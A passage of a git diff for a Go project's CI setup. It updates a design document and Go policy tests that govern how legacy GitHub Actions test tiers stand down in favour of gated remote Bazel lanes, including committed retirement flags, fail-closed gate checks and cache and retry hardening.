`github.actor` is not `dependabot[bot]`, for each step whose flag is + `"true"`. The executor secret is deliberately not part of the decision: a + same-repo PR whose run lacks it (secret deleted or emptied) is still + covered, takes Bazel mode `cache` (no remote-only lanes) and so turns + `CI Gate / Required` red, instead of quietly moving back to a legacy tier + that one of its runs may already have skipped. +- Everyone else keeps the legacy tiers unchanged: - fork PRs; - Dependabot PRs (no Actions secrets; `github.actor`, unlike `github.triggering_actor`, stays `dependabot[bot]` when someone else re-runs them); - every `merge_group` run (there is no merge queue today, so this is not a pre-merge net); - - every PR while the flag is `"false"`. + - every PR while that step's flag is `"false"`. - `main.yml`'s embedded jobs on push to `main` are untouched. + `main.yml`'s embedded and proxied jobs on push to `main` are untouched. - How: - - `pr-risk.yml` and `pr.yml` each run the identical - `bazel-embedded-coverage` job (policy-tested). The job does no checkout - and runs no repository code. It reads the flag, the event, the fork flag - and the actor (no secret, no variable), and outputs `covered`. - - The three legacy test jobs add - `needs.bazel-embedded-coverage.outputs.covered != 'true'` to their `if`. - - PR Risk's gate accepts their skip only when `covered == true`. - - `pr.yml`'s gate requires `BAZEL_EMBEDDED_COVERAGE` (the job's result) - and `BAZEL_EMBEDDED_RETIRED`. The latter is red when `covered == true` - and the Bazel call's mode is not `remote` or `BAZEL_EMBEDDED` is not - `success`. In particular, mode `skip` (the farm switch off) and mode - `local` (the executor secret missing) are red there, although + - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job + (policy-tested). The job does no checkout and runs no repository code. + It reads the flags, the event, the fork flag and the actor (no secret, + no variable), and outputs `embedded` (step 1) and `dolt_server` + (step 2). + - Each legacy test job adds + `needs.bazel-coverage.outputs. != 'true'` to its + `if`; `build-embedded` adds + `(embedded != 'true' || dolt_server != 'true')`. + - PR Risk's gate accepts a legacy test job's skip only when its step's + output is `true`, and `BUILD_EMBEDDED`'s only when both are. + - `pr.yml`'s gate requires `BAZEL_COVERAGE` (the job's result) and one + `BAZEL_*_RETIRED` id per step. Such an id is red when its step's output + is `true` and the Bazel call's mode is not `remote` or any of the step's + lanes (`BAZEL_EMBEDDED`; `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`) is + not `success`. In particular, mode `skip` (the farm switch off) and + mode `cache` (the executor secret missing) are red there, although `bazel-gate.sh` alone would accept them. - A failed, cancelled or missing decision is red in both gates. -- `build-embedded` keeps running: its `embedded-test-binaries` artifact also - feeds `test-proxied-cmd`, `test-server-storage` and - `test-server-storage-full`, which are not retired in this step. - Why a committed flag: - - `covered` depends on nothing a re-run can change (flag, event, fork, - actor). So any run or re-run of PR Risk that skips the legacy tier is - matched by `pr.yml` runs that compute the same `covered`. - - Each such `pr.yml` run is green only if the Bazel lane ran remotely and - passed in that run. + - The outputs depend on nothing a re-run can change (flags, event, fork, + actor). So any run or re-run of PR Risk that skips a legacy tier is + matched by `pr.yml` runs that compute the same outputs. + - Each such `pr.yml` run is green only if that tier's Bazel lanes ran + remotely and passed in that run. - Flipping `RBE_WEST_WORKERS` either way, plus "Re-run all jobs" of either workflow, can no longer leave both required checks green with - neither tier run. + neither the legacy tier nor its lanes run. - `scripts/pr_risk_bazel_coverage_test.go` checks this by running both workflows' actual decision steps, `bazel.yml`'s `rbe` step and `pr.yml`'s actual gate step over every event, variable value, secret, fork, actor and flag combination, with the variable and the secret each differing between the two runs. It also requires the two workflows to share their - `pull_request` triggers. -- Cost of failing closed: while the flag is `"true"`, a same-repo PR without + `pull_request` triggers, and simulates PR Risk's actual gate step over + every risk tier and decision. +- Cost of failing closed: while a flag is `"true"`, a same-repo PR without the executor secret (secret deleted or emptied, or a non-Dependabot bot whose runs get no secrets) is red until the secret is restored or the flag is committed `"false"`. -- Revert: - 1. Commit `BAZEL_RETIRES_LEGACY_EMBEDDED: "false"` in both workflows on - `main`. +- Revert (per step): + 1. Commit that step's flag `"false"` in both workflows on `main`. To turn + remote execution off, commit both flags `"false"`. 2. Every PR needs a new push or a merge of `main` to pick it up: a pull_request run uses the workflow files of the PR's merge commit, and a re-run reuses that commit. 3. Only then unset `RBE_WEST_WORKERS`, if remote execution should be off. - Reverting the D2 commits removes the decision jobs entirely. -- Admin changes: flipping `RBE_WEST_WORKERS` or deleting the executor - secret, followed by "Re-run all jobs" of either workflow, can no longer - leave both required checks green with neither tier run. + Reverting the D2 commits removes the decision job entirely. - Re-runs: "Re-run all jobs" (or "Re-run failed jobs") of one workflow re-evaluates variables and secrets for that workflow's run only. The other workflow's last result stays on the head SHA. With the committed - flag this cannot drop the tier silently: `covered` depends on the flag + flags this cannot drop a tier silently: the outputs depend on the flags (fixed by the merge commit), the event, the fork flag and the actor, and on no variable or secret. Re-running "failed jobs" keeps the earlier - jobs' outputs, including `covered` and the `rbe` mode. + jobs' outputs, including the decision and the `rbe` mode. - Enforcement scope: the beads-only ruleset requires both gates on the default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this change. There is no merge queue and `strict` is off, so no - pre-merge run catches a gap; only `main.yml`'s embedded jobs and - `bazel.yml`'s push run do, after merge. -- Lane hardening that the retirement relies on (policy-tested in + pre-merge run catches a gap; only `main.yml`'s embedded and proxied jobs + and `bazel.yml`'s push run do, after merge (`main.yml` has no server-Dolt + storage jobs; `bazel.yml`'s push run covers that tier). +- Lane hardening that the retirement relies on, for `bazel-embedded`, + `bazel-proxied` and `bazel-server-storage` alike (policy-tested in `scripts/ci_workflow_test.go` and `scripts/pr_risk_bazel_coverage_test.go`): - - `test:embedded --nocache_test_results`: every run executes every test, - like the legacy `-test.count=1` jobs, so a stale or poisoned entry in - the shared farm action cache cannot stand in for a run. + - `--nocache_test_results` in `test:embedded`, `test:doltserver-proxied` + and `test:doltserver-integration`: every run executes every test, like + the legacy `-test.count=1` jobs, so a stale or poisoned entry in the + shared farm action cache cannot stand in for a run. Nothing else in + `.bazelrc` sets test result caching except `test:docker` (also off). - No retries: no `--flaky_test_attempts` or `--runs_per_test_detects_flakes` anywhere, and no `flaky =` other than - a literal `False`. The lane also runs - `bazel query 'attr(flaky, 1, tests(//...))'` before the tier and fails + a literal `False`. Each lane also runs + `bazel query 'attr(flaky, 1, tests(//...))'` before its tier and fails on any result, so a macro or variable cannot hide a flaky target. + - No whole-invocation retry: `--experimental_remote_cache_eviction_retries=0` + in all three lane configs (no other `.bazelrc` line may set it; it is + not in `remote-exec`, which may only hold flags that are key-neutral + between trusted and fork runs, policy-tested). + By default (5) Bazel re-runs the entire `bazel test` invocation when an + input was evicted from the remote cache ("Lost inputs ... Found + transient remote cache error, retrying the build"), and that exit code + outranks a test failure. With `--keep_going` and + `--nocache_test_results`, a test that failed in the first attempt is + then executed again and only the retry's result (and BEP) is reported, + so a flaky failure could turn green. With 0, an eviction fails the step + instead; "Re-run failed jobs" retries it visibly. Reproduced against a + local HTTP cache emptied mid-build (2026-10-02): default retries + rebuilt and exited 0, `=0` failed with "Unexpected lost inputs". The + real proxied run before this change hit an eviction on all 15 shards + (before any test ran) and was retried silently. - Pinned selection: - - The lane's `bazel test //... --config=embedded` step and the - `--config=embedded` lines are pinned exactly. - - No other rc line of a config the lane uses (unconfigured, - `remote-exec`, or anything they reference) may filter, narrow, - re-run or re-route tests. + - Each lane's `bazel test //... --config=` step and its + config's `.bazelrc` lines are pinned exactly. + - No other rc line of a config the lanes use (unconfigured, + `remote-exec`, `fork-cache`, or anything they reference) may filter, + narrow, re-run or re-route tests. - `.bazelrc` imports only the two gitignored try-imports, and no other rc file is committed. - `tools/bazel/*.sh` and the whole setup-bazel action may not inject - test selection or skips. - - The four embedded-tagged targets' `args` and `env` are pinned. - - `tools/bazel/check_shard_coverage.py` runs after the tier. It requires: - - every Bazel shard to have run exactly the tests its shard script lists - (list-only mode, minus `TestMain`, which `grep '^func Test'` lists - but which is never a test); - - no shard, and no conformance partition, to be all skipped. + test selection, skips or the tiers' switches + (`BEADS_TEST_PROXIED_SERVER`, `BEADS_TEST_ENV_RUN_DOLT`, ...). + - The `args` and `env` of every target tagged `embedded`, + `dolt-server-proxied` or `dolt-server-integration` are pinned. + - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: + - every Bazel shard of `//cmd/bd:bd_embedded_test`, + `//internal/storage/embeddeddolt:embeddeddolt_embedded_test`, + `//cmd/bd:bd_proxied_test` (15) and + `//internal/storage/dolt:dolt_server_full_test` (16) to have run + exactly the tests its shard script lists (list-only mode, minus + `TestMain`, which `grep '^func Test'` lists but which is never a + test; a policy test runs all four real scripts and requires every + other listed name to be a `func Name(t *testing.T)`); + - no shard, and no unsharded target (the embedded conformance + partitions, `//internal/storage/dolt:dolt_server_conformance_test`), + to be all skipped. A test the scripts discover from source but the Bazel binary lacks fails the lane instead of passing silently, and so does an injected `-test.short` or `BEADS_TEST_SKIP` that skips a whole shard. + - Verified on a real remote run before step 2 (2026-10-01): proxied 164 + top-level tests over 15 shards, 0 skipped; server storage 1246 + 1 + conformance, 10 skipped (none all-skipped); both checkers pass. - Not changed: `conformance.yml`'s Tier 1 (`scripts/conformance.sh`) runs the embedded-Dolt `TestConformance` again (non-race, unsharded), duplicating `test-embedded-conformance` and the Bazel lane. It is not part of either @@ -792,7 +842,9 @@ have run remotely and passed. `test-server-storage-full` mirrors `test-embedded-storage`'s sharding, one tier down in the same workflow: -- Job-level `if` uses the same `detect-ci-tier` gate as the embedded matrix. +- Job-level `if` uses the same `detect-ci-tier` gate as the embedded matrix, + and both server jobs stand down where the Bazel `server-Dolt storage tier` + lane covers them (D2 step 2, [Legacy Tier Retirement](#legacy-tier-retirement-d2)). - `.github/scripts/server-storage-test-shard.sh` discovers top-level `Test*` functions from `internal/storage/dolt/*_test.go` (excluding `TestConformance`, which keeps its own `test-server-storage` job), assigns @@ -859,8 +911,8 @@ Policy for `merge_group`: - `detect-ci-tier` should keep treating `merge_group` as full embedded coverage. - There is no merge queue today (see Current State), so these runs are not a pre-merge safety net for anything PRs skip; in particular they are not one - for the retired legacy embedded tier (D2 step 1). `merge_group` keeps that - tier only so a queue added later starts with full coverage. + for the retired legacy tiers (D2). `merge_group` keeps those tiers only + so a queue added later starts with full coverage. - Any risk detector added to the required topology should default to run on `merge_group`, because the merge group commit may combine individually safe PRs into a risky integration state. diff --git a/scripts/ci_capability_selector_test.go b/scripts/ci_capability_selector_test.go index 707487bf1..cc160a3a1 100644 --- a/scripts/ci_capability_selector_test.go +++ b/scripts/ci_capability_selector_test.go @@ -96,7 +96,7 @@ func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { if err := yaml.Unmarshal(data, &workflow); err != nil { t.Fatalf("parse workflow: %v", err) } - wantJobs := map[string]bool{"detect-ci-tier": true, "bazel-embedded-coverage": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} + wantJobs := map[string]bool{"detect-ci-tier": true, "bazel-coverage": true, "build-embedded": true, "test-embedded-storage": true, "test-embedded-conformance": true, "test-server-storage": true, "test-server-storage-full": true, "test-embedded-cmd": true, "test-proxied-cmd": true, "test-nix": true, "ci-gate": true} if len(workflow.Jobs) != len(wantJobs) { t.Errorf("job count = %d, want %d", len(workflow.Jobs), len(wantJobs)) } @@ -118,25 +118,24 @@ func TestCICapabilitySelectorWorkflowPreservesExistingAuthority(t *testing.T) { if tier.ID != "tier" || shadow.ID != "shadow-selector" || !shadow.ContinueOnError || detector.stepIndex(t, shadow.Name) != detector.stepIndex(t, tier.Name)+1 { t.Errorf("shadow step is not immediately after tier: tier=%+v shadow=%+v", tier, shadow) } - for _, name := range []string{"build-embedded", "test-server-storage", "test-server-storage-full", "test-proxied-cmd"} { - if got := workflow.Jobs[name].If; got != "needs.detect-ci-tier.outputs.full_embedded == 'true'" { - t.Errorf("%s if = %q", name, got) + // The legacy tiers' test jobs, and build-embedded, run on the risk tier + // and also stand down where the gated Bazel lanes cover them + // (TestPRRiskLegacyTiersDeferToBazelLanes). + for name, r := range retiredJobs() { + if got := workflow.Jobs[name].If; got != r.legacyIf() { + t.Errorf("%s if = %q, want %q", name, got, r.legacyIf()) } } - // The legacy embedded test jobs also stand down where the gated Bazel - // lane covers them (TestPRRiskLegacyEmbeddedTierDefersToBazelLane). - for _, name := range prRiskBazelCoveredJobs { - if got := workflow.Jobs[name].If; got != prRiskBazelCoveredIf { - t.Errorf("%s if = %q, want %q", name, got, prRiskBazelCoveredIf) - } + if got := workflow.Jobs["build-embedded"].If; got != prRiskBuildEmbeddedIf { + t.Errorf("build-embedded if = %q, want %q", got, prRiskBuildEmbeddedIf) } if workflow.Jobs["test-nix"].If != "" { t.Errorf("test-nix if = %q, want ungated", workflow.Jobs["test-nix"].If) } gate := workflow.Jobs["ci-gate"] - wantNeeds := []string{"detect-ci-tier", "bazel-embedded-coverage", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} + wantNeeds := []string{"detect-ci-tier", "bazel-coverage", "build-embedded", "test-embedded-storage", "test-embedded-conformance", "test-server-storage", "test-server-storage-full", "test-embedded-cmd", "test-proxied-cmd", "test-nix"} gateStep := gate.step(t, "Evaluate CI gate") - if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BAZEL_EMBEDDED_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { + if gate.If != "${{ always() }}" || strings.Join(gate.Needs, ",") != strings.Join(wantNeeds, ",") || gateStep.Env["FULL_EMBEDDED"] != "${{ needs.detect-ci-tier.outputs.full_embedded }}" || gateStep.Env["CI_GATE_REQUIRED"] != "DETECT_CI_TIER BAZEL_COVERAGE BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD TEST_NIX" || !strings.Contains(gateStep.Run, "skipped_ok=\"BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD\"") { t.Errorf("ci-gate authority changed: needs=%v env=%v", gate.Needs, gateStep.Env) } for name, job := range workflow.Jobs { diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5c4f39246..8c585439f 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1035,8 +1035,8 @@ func TestPRRiskGateReachesFullServerDoltStorageSuite(t *testing.T) { if !contains(job.Needs, "detect-ci-tier") || !contains(job.Needs, "build-embedded") { t.Errorf("%s needs = %v, want detect-ci-tier and build-embedded (reuse the existing artifact, no new build)", jobName, job.Needs) } - if job.If != "needs.detect-ci-tier.outputs.full_embedded == 'true'" { - t.Errorf("%s if = %q, want the same tier gate as test-server-storage", jobName, job.If) + if sibling := workflow.job(t, "test-server-storage").If; job.If != sibling || !strings.HasPrefix(job.If, "needs.detect-ci-tier.outputs.full_embedded == 'true'") { + t.Errorf("%s if = %q, want the same tier gate as test-server-storage (%q)", jobName, job.If, sibling) } download := job.step(t, "Download binaries") @@ -2112,8 +2112,11 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { if !contains(gate.Needs, "bazel") { t.Errorf("ci-gate needs = %v, want bazel", gate.Needs) } - // Plus D2 step 1's retirement check (TestPRRiskEmbeddedDecisionMatchesBazelMode). - wantBazelIDs := []string{bazelAggregateGateID, "BAZEL_EMBEDDED_COVERAGE", "BAZEL_EMBEDDED_RETIRED"} + // Plus D2's decision and retirement checks (TestPRRiskDecisionMatchesBazelMode). + wantBazelIDs := []string{bazelAggregateGateID, prRiskCoverageGateID} + for _, r := range retiredTiers { + wantBazelIDs = append(wantBazelIDs, r.retiredID) + } for lane, id := range bazelLaneGateIDs { wantBazelIDs = append(wantBazelIDs, id) if want := "${{ needs.bazel.outputs." + lane + " || 'skipped' }}"; evaluate.Env[id] != want { @@ -2166,9 +2169,10 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } } - // Legacy jobs stay required: D1 adds, D2 removes. (D2 step 1 lets - // pr-risk.yml's embedded test jobs skip where this lane runs remotely, - // but they stay required ids: TestPRRiskLegacyEmbeddedTierDefersToBazelLane.) + // Legacy jobs stay required: D1 adds, D2 removes. (D2 lets + // pr-risk.yml's embedded, proxied and server Dolt test jobs, and + // build-embedded, skip where the gated lanes run remotely, but they stay + // required ids: TestPRRiskLegacyTiersDeferToBazelLanes.) for id, job := range map[string]string{ "BUILD_ARTIFACTS": "build-artifacts", "PR_CORE_WRAPPER": "pr-core-wrapper", @@ -2183,7 +2187,7 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { risk := readCIWorkflow(t, "pr-risk.yml") riskGate := risk.job(t, "ci-gate") riskRequired := strings.Fields(riskGate.step(t, "Evaluate CI gate").Env["CI_GATE_REQUIRED"]) - for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD"} { + for _, id := range []string{"BUILD_EMBEDDED", "TEST_EMBEDDED_STORAGE", "TEST_EMBEDDED_CONFORMANCE", "TEST_EMBEDDED_CMD", "TEST_PROXIED_CMD", "TEST_SERVER_STORAGE", "TEST_SERVER_STORAGE_FULL"} { if !contains(riskRequired, id) { t.Errorf("pr-risk.yml ci-gate no longer requires legacy %s", id) } @@ -2282,11 +2286,12 @@ type bazelGateScenario struct { mode, enabled string // the call's rbe-mode / rbe-enabled outputs call string // needs.bazel.result outputs map[string]string // the lanes' outputs ("" = not reported) - // pr.yml's bazel-embedded-coverage job (D2 step 1): its covered output - // and its result ("" = success). - covered, coverage string - wantPass bool - wantMention string // a red gate must name this id + // pr.yml's bazel-coverage job (D2): its outputs, per retiredTiers + // output name ("" = not reported), and its result ("" = success). + covered map[string]string + coverage string + wantPass bool + wantMention string // a red gate must name this id } // runPRGateStep runs pr.yml's actual "Evaluate CI gate" step (its run block, @@ -2314,8 +2319,15 @@ func runPRGateStep(t *testing.T, step ciWorkflowStep, sc bazelGateScenario) (boo if got == "" { got = "success" } - case m[1] == prRiskCoverageJobName && m[3] == "covered": - got = sc.covered + case m[1] == prRiskCoverageJobName: + known := false + for _, r := range retiredTiers { + known = known || r.output == m[3] + } + if !known { + t.Fatalf("ci-gate env %s = %q: %s has no such tier output", key, value, prRiskCoverageJobName) + } + got = sc.covered[m[3]] case m[1] != "bazel" && m[2] == "result": got = "success" case m[1] != "bazel": @@ -3385,8 +3397,8 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) } assertBazelTierStep(t, job, c.job, c.config) - if n := len(job.Steps); n != 6 { - t.Errorf("%s has %d steps, want checkout, setup-bazel, the tier, check_testcases.py, log upload, result recorder", c.job, n) + if n := len(job.Steps); n != 8 { + t.Errorf("%s has %d steps, want checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, log upload, result recorder", c.job, n) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { @@ -3436,6 +3448,7 @@ var bazelEmbeddedRCLines = []string{ "test:embedded --test_env=GO_TEST_WRAP_TESTV=1", "test:embedded --remote_download_regex=.*/test\\.xml$", "test:embedded --nocache_test_results", + "test:embedded --experimental_remote_cache_eviction_retries=0", } func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { @@ -3510,7 +3523,8 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { // Nothing turns result caching back on for the embedded lane (a // later --cache_test_results wins over --nocache_test_results). if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && - line != "test:embedded --nocache_test_results" && line != "test:docker --nocache_test_results" { + line != "test:embedded --nocache_test_results" && line != "test:docker --nocache_test_results" && + line != "test:doltserver-proxied --nocache_test_results" && line != "test:doltserver-integration --nocache_test_results" { t.Errorf(".bazelrc %q: only test:embedded and test:docker set test result caching", line) } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index ac3de4385..8b95a8472 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -7,59 +7,112 @@ import ( "path/filepath" "reflect" "regexp" + "sort" "strconv" "strings" + "sync" "testing" "gopkg.in/yaml.v3" ) -// D2 step 1: PR Risk's legacy embedded-Dolt test jobs stand down on the PRs -// where pr.yml's gated Bazel `embedded Dolt tier` lane (bazel.yml's -// bazel-embedded, remote mode only) is the tier's run, and nowhere else. -// Both workflows run the same bazel-embedded-coverage job, which reads a -// committed flag (BAZEL_RETIRES_LEGACY_EMBEDDED), never the mutable -// RBE_WEST_WORKERS variable. PR Risk's gate accepts the legacy skips only -// when that job says covered; pr.yml's gate then requires the Bazel lane to -// have run remotely and passed, so no re-run of either workflow, with the -// variable flipped either way, can leave both gates green and the tier -// unrun. +// D2: PR Risk's legacy tiers stand down on the PRs where pr.yml's gated +// Bazel lanes for them (bazel.yml, remote mode only) are the tier's run, and +// nowhere else. Step 1 retired the embedded-Dolt test jobs (Bazel +// bazel-embedded), step 2 the proxied-server and server-Dolt storage test +// jobs (bazel-proxied, bazel-server-storage) and, where both are retired, +// build-embedded, whose artifact only they consume. Both workflows run the +// same bazel-coverage job, which reads one committed flag per step +// (BAZEL_RETIRES_LEGACY_*), never the mutable RBE_WEST_WORKERS variable. +// PR Risk's gate accepts the legacy skips only when that job says covered; +// pr.yml's gate then requires the tier's Bazel lanes to have run remotely +// and passed, so no re-run of either workflow, with the variable flipped +// either way, can leave both gates green and a tier unrun. const ( prRiskWorkflowName = "pr-risk.yml" - prRiskCoverageJobName = "bazel-embedded-coverage" - prRiskCoverageCovered = "${{ steps.decide.outputs.covered }}" + prRiskCoverageJobName = "bazel-coverage" prRiskPullRequestValue = "${{ github.event_name == 'pull_request' }}" - prRiskRetiredFlag = "BAZEL_RETIRES_LEGACY_EMBEDDED" - prRiskRetiredValue = "${{ env." + prRiskRetiredFlag + " == 'true' }}" - // The legacy jobs' if: the existing risk tier, and not covered. - prRiskBazelCoveredIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && needs." + prRiskCoverageJobName + ".outputs.covered != 'true'" + // pr-risk.yml's and pr.yml's gate id for the decision job's result. + prRiskCoverageGateID = "BAZEL_COVERAGE" + // build-embedded's artifact (embedded-test-binaries) feeds exactly the + // legacy test jobs of both retired tiers. + prRiskBuildEmbeddedJob = "build-embedded" + prRiskBuildEmbeddedID = "BUILD_EMBEDDED" ) -// The retired legacy jobs and their gate ids. build-embedded is not one: its -// artifact also feeds the proxied and server Dolt jobs. -var prRiskBazelCoveredJobs = []string{"test-embedded-storage", "test-embedded-conformance", "test-embedded-cmd"} +// retiredTier: one D2 step's legacy tier, the committed flag that retires +// it, the decision job's output for it, and the Bazel lanes that replace it. +type retiredTier struct { + output string // bazel-coverage's output + flag string // the committed workflow env flag + envKey string // the decision step's env key reading flag + coversEnv string // both gates' env key reading output + retiredID string // pr.yml's gate id: the lanes ran remotely and passed + jobs map[string]string // legacy job -> PR Risk gate id + bazelLanes []string // bazel.yml jobs +} -var prRiskBazelCoveredIDs = map[string]string{ - "test-embedded-storage": "TEST_EMBEDDED_STORAGE", - "test-embedded-conformance": "TEST_EMBEDDED_CONFORMANCE", - "test-embedded-cmd": "TEST_EMBEDDED_CMD", +var retiredTiers = []retiredTier{ + { + output: "embedded", flag: "BAZEL_RETIRES_LEGACY_EMBEDDED", envKey: "RETIRED_EMBEDDED", + coversEnv: "BAZEL_COVERS_EMBEDDED", retiredID: "BAZEL_EMBEDDED_RETIRED", + jobs: map[string]string{ + "test-embedded-storage": "TEST_EMBEDDED_STORAGE", + "test-embedded-conformance": "TEST_EMBEDDED_CONFORMANCE", + "test-embedded-cmd": "TEST_EMBEDDED_CMD", + }, + bazelLanes: []string{bazelEmbedJobName}, + }, + { + output: "dolt_server", flag: "BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS", envKey: "RETIRED_DOLT_SERVER", + coversEnv: "BAZEL_COVERS_DOLT_SERVER", retiredID: "BAZEL_DOLT_SERVER_RETIRED", + jobs: map[string]string{ + "test-proxied-cmd": "TEST_PROXIED_CMD", + "test-server-storage": "TEST_SERVER_STORAGE", + "test-server-storage-full": "TEST_SERVER_STORAGE_FULL", + }, + bazelLanes: []string{bazelProxiedJobName, bazelServerJobName}, + }, +} + +func (r retiredTier) retiredValue() string { return "${{ env." + r.flag + " == 'true' }}" } + +// The legacy test jobs' if: the existing risk tier, and not covered. +func (r retiredTier) legacyIf() string { + return "needs.detect-ci-tier.outputs.full_embedded == 'true' && needs." + prRiskCoverageJobName + ".outputs." + r.output + " != 'true'" +} + +// build-embedded's if: the risk tier, and some consumer not covered. +var prRiskBuildEmbeddedIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs." + prRiskCoverageJobName + ".outputs.embedded != 'true' || needs." + + prRiskCoverageJobName + ".outputs.dolt_server != 'true')" + +// retiredJobs: every retired legacy test job -> its tier. +func retiredJobs() map[string]retiredTier { + out := map[string]retiredTier{} + for _, r := range retiredTiers { + for job := range r.jobs { + out[job] = r + } + } + return out } // The bazel.yml rbe step env keys the decision copies verbatim. var prRiskSharedDecisionEnv = []string{"FORK"} // The decision's Dependabot test: Dependabot runs get no Actions secrets, so -// bazel.yml runs them locally and they keep the legacy tier. +// bazel.yml runs them locally and they keep the legacy tiers. const prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" // rbeFacts: what GitHub evaluates the decision steps' env expressions on. type rbeFacts struct { - event string // github.event_name - rbeVar string // vars.RBE_WEST_WORKERS ("" = unset) - secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) - fork bool // github.event.pull_request.head.repo.fork - retired string // the committed env.BAZEL_RETIRES_LEGACY_EMBEDDED + event string // github.event_name + rbeVar string // vars.RBE_WEST_WORKERS ("" = unset) + secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) + fork bool // github.event.pull_request.head.repo.fork + // The committed env.BAZEL_RETIRES_LEGACY_* flags, in retiredTiers order. + retired [2]string // github.actor is dependabot[bot] (fixed for a PR's runs and re-runs). dependabot bool } @@ -68,11 +121,19 @@ func (f rbeFacts) String() string { return fmt.Sprintf("event=%s var=%q secret=%v fork=%v retired=%q dependabot=%v", f.event, f.rbeVar, f.secret != "", f.fork, f.retired, f.dependabot) } +// covers: whether a same-repo, non-Dependabot pull_request with tier i's +// flag set, the decision both workflows must take for tier i. +func (f rbeFacts) covers(i int) bool { + return strings.EqualFold(f.retired[i], "true") && f.event == "pull_request" && !f.fork && !f.dependabot +} + var ( - rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} - rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} - rbeSecrets = []string{"", "grpcs://rbe.example:443"} - retiredValues = []string{"true", "True", "false", ""} + rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} + rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} + rbeSecrets = []string{"", "grpcs://rbe.example:443"} + // Both flags on, each alone, both off, and the case-insensitive and + // non-boolean spellings on either side. + retiredValues = [][2]string{{"true", "true"}, {"true", "false"}, {"false", "true"}, {"false", "false"}, {"True", ""}, {"", "TRUE"}} ) // rbeFactsMatrix: every combination of the facts the decisions read. @@ -107,11 +168,17 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) } return def } + if len(retiredTiers) != len(f.retired) { + t.Fatalf("rbeFacts.retired has %d flags, retiredTiers %d", len(f.retired), len(retiredTiers)) + } + for i, r := range retiredTiers { + if expr == r.retiredValue() { + return strconv.FormatBool(strings.EqualFold(f.retired[i], "true")) + } + } switch expr { case prRiskPullRequestValue: return strconv.FormatBool(f.event == "pull_request") - case prRiskRetiredValue: - return strconv.FormatBool(strings.EqualFold(f.retired, "true")) case prRiskDependabotValue: return strconv.FormatBool(f.dependabot) case "${{ vars.RBE_WEST_WORKERS == 'true' }}": @@ -166,32 +233,39 @@ func workflowEnv(t *testing.T, name string) map[string]string { return doc.Env } -// The decision job reads the committed flag, the event, the actor and, +// The decision job reads the committed flags, the event, the actor and, // through bazel.yml's rbe job's own expression, the fork flag: nothing a // re-run can change, so never RBE_WEST_WORKERS, any other variable or any // secret, and it runs no repository code. pr.yml runs the identical job, and -// both workflows commit the same flag. Nothing else in pr-risk.yml reads the +// both workflows commit the same flags. Nothing else in pr-risk.yml reads the // 